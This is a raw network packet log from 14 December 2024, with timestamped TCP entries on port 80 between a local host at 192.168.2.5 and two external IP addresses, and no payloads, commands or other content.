Dec 14, 2024 14:56:17.384524107 CET	80	49853	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:17.384634972 CET	49853	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:17.384743929 CET	49853	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:17.497065067 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.497123003 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.497210026 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.497581959 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.497808933 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.497900963 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.497963905 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.498965025 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.498996973 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.499022007 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.499036074 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.499080896 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.500154972 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.500267029 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.500313044 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.501369953 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.501454115 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.501497984 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.502543926 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.502588034 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.502665043 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.503777981 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.503793955 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.503823042 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.503848076 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.504405022 CET	80	49853	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:17.504977942 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.505038023 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.505045891 CET	49853	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:17.505067110 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.506202936 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.506251097 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.506283045 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.506871939 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.507386923 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.507512093 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.507558107 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.508603096 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.508651018 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.508721113 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.509807110 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.509851933 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.509905100 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.511029005 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.511075020 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.511126041 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.512258053 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.512301922 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.512340069 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.512393951 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.513463974 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.513571978 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.513617039 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.514647007 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.514765978 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.514818907 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.515876055 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.516024113 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.516068935 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.517056942 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.517100096 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.517178059 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.518269062 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.518313885 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.518352032 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.519496918 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.519541025 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.519596100 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.520687103 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.520730972 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.520787954 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.520832062 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.521888971 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.522020102 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.522064924 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.523102999 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.523227930 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.523272038 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.524307966 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.524421930 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.524466991 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.525561094 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.525604963 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.525682926 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.526746988 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.526789904 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.526840925 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.526884079 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.527960062 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.528080940 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.528126001 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.529165983 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.529295921 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.529342890 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.530342102 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.530386925 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.530436993 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.531575918 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.531620026 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.531672001 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.531714916 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.532761097 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.532866955 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.532917976 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.534203053 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.534337044 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.534379959 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.535185099 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.535228968 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.535278082 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.536412001 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.536462069 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.536520004 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.537611961 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.537662983 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.537777901 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.537827969 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.538814068 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.538919926 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.538973093 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.540050983 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.540112019 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.540169001 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.541248083 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.541309118 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.541357040 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.542438984 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.542490005 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.542538881 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.542601109 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.543637037 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.543699980 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.543757915 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.543806076 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.544859886 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.544910908 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.544969082 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.545018911 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.546051979 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.546102047 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.546175957 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.546222925 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.547261953 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.547363043 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.547414064 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.548515081 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.548588037 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.548638105 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.549685001 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.549735069 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.549783945 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.550926924 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.550977945 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.551023960 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.552098989 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.552169085 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.552212000 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.552258968 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.553353071 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.553431034 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.553478003 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.554538965 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.554704905 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.554832935 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.555665016 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.555759907 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.555805922 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.555891991 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.555943012 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.556987047 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.557039976 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.557097912 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.557149887 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.558166981 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.558218956 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.558269024 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.559374094 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.559428930 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.559468985 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.563817024 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.624805927 CET	80	49853	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:17.689065933 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.689168930 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.689244986 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.689672947 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.689764977 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.689816952 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.690855026 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.690901995 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.690984011 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.692092896 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.692146063 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.692192078 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.693259001 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.693306923 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.693382978 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.693427086 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.694464922 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.694612026 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.694662094 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.695666075 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.695748091 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.695811033 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.696913958 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.697030067 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.697078943 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.698132992 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.698179960 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.698237896 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.698551893 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.699276924 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.699333906 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.699383974 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.699424028 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.700474024 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.700521946 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.700582981 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.700628042 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.701683998 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.701734066 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.701806068 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.701849937 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.702896118 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.702980995 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.703027964 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.704109907 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.704207897 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.704260111 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.705285072 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.705333948 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.705393076 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.706506968 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.706553936 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.706588030 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.706602097 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.706646919 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.707686901 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.707731962 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.707814932 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.707859993 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.708895922 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.708945990 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.708997011 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.709039927 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.710196018 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.710248947 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.710340977 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.711323023 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.711385965 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.711412907 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.711441040 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.711484909 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.712547064 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.712608099 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.712649107 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.713758945 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.713804960 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.713834047 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.713875055 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.714960098 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.715009928 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.715014935 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.715046883 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.716139078 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.716248989 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.716305017 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.717335939 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.717448950 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.717505932 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.718513012 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.718574047 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.718650103 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.719752073 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.719810963 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.720402002 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.720951080 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.721018076 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.721055031 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.721101046 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.722178936 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.722269058 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.722333908 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.723391056 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.723493099 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.723551989 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.724641085 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.724848032 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.724905968 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.725795031 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.725907087 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.725965977 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.726963043 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.727085114 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.727087021 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.728173971 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.728235006 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.728281975 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.729387045 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.729446888 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.729500055 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.729549885 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.730607986 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.730679989 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.730732918 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.731785059 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.731836081 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.731889963 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.733021975 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.733069897 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.733129978 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.733180046 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.734204054 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.734324932 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.734375000 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.735397100 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.735529900 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.735577106 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.736593008 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.736639977 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.736715078 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.737838984 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.737890959 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.737952948 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.739013910 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.739058971 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.739113092 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.739154100 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.740226984 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.740331888 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.740381002 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.741445065 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.741560936 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.741607904 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.742660999 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.742710114 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:17.742762089 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:17.743875027 CET	80	49846	31.41.244.11	192.168.2.5
